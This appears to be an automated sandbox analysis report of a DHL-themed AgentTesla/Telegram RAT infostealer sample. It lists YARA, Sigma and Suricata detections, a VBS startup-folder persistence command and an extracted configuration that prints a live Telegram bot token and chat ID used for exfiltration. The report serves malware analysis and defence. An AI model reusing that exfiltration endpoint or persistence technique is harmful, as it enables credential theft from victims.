12.2.DHL8900067.exe.417058.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4043658.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4b9c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4ba38:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4bac2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4bb54:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4bbbe:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4bc30:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4bcc6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4bd56:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.DHL8900067.exe.3913658.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.DHL8900067.exe.3913658.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.DHL8900067.exe.3913658.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.DHL8900067.exe.3913658.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3a53658.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3a53658.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3a53658.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4320000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4320000.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4320000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4360000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4360000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4360000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4030000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4030000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4030000.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4030000.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x445c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x44638:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x446c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x44754:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x447be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x44830:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x448c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x44956:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.DHL8900067.exe.3900000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.DHL8900067.exe.3900000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.DHL8900067.exe.3900000.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3d10000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3d10000.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3d10000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3d10000.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3a53658.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4030000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4030000.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4030000.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.DHL8900067.exe.3900000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.DHL8900067.exe.3900000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.DHL8900067.exe.3900000.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.DHL8900067.exe.3900000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.DHL8900067.exe.3900000.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x445c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x44638:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x446c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x44754:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x447be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x44830:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x448c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x44956:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.400000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4320000.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4030000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4b9c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4ba38:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4bac2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4bb54:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4bbbe:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4bc30:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4bcc6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4bd56:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4360000.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.417058.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3d50000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3d50000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3d50000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3a40000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3a40000.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3a40000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3a40000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3d50000.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4043658.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4043658.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4043658.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4043658.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 99 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , ProcessId: 1332, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" , ProcessId: 1332, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\directory\DHL8900067.exe, ProcessId: 7580, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs

Suricata Signatures

ETPRO MALWARE Agent Tesla Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T06:51:40.942878+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.4	49726	149.154.167.220	443	TCP
2025-03-16T06:52:00.177453+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.4	49729	149.154.167.220	443	TCP

ETPRO MALWARE Agent Tesla Telegram Exfil M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T06:51:40.942878+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.4	49726	149.154.167.220	443	TCP
2025-03-16T06:52:00.177453+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.4	49729	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T06:51:40.772575+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49726	149.154.167.220	443	TCP
2025-03-16T06:52:00.009500+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49729	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 24sBT3Cffz.exe

Avira: detected

Found malware configuration

Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendMessage?chat_id=5061956073"}
Source: DHL8900067.exe.2140.14.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendMessage"}

Multi AV Scanner detection for submitted file

Source: 24sBT3Cffz.exe	Virustotal: Detection: 65%			Perma Link
Source: 24sBT3Cffz.exe	ReversingLabs: Detection: 63%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe

Unpacked PE file: 12.2.DHL8900067.exe.4360000.6.unpack

Source: 24sBT3Cffz.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49729 version: TLS 1.2

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AEDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00AEDBBE
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00ABC2A2 FindFirstFileExW,	0_2_00ABC2A2
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF68EE FindFirstFileW,FindClose,	0_2_00AF68EE
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00AF698F
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00AED076
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00AED3A9
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00AF9642
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00AF979D
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00AF9B2B
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00AF5C97
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00406725 FindFirstFileExW,	12_2_00406725
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0095DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0095DBBE
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0092C2A2 FindFirstFileExW,	12_2_0092C2A2
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009668EE FindFirstFileW,FindClose,	12_2_009668EE
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0096698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_0096698F
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0095D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0095D076
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0095D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0095D3A9
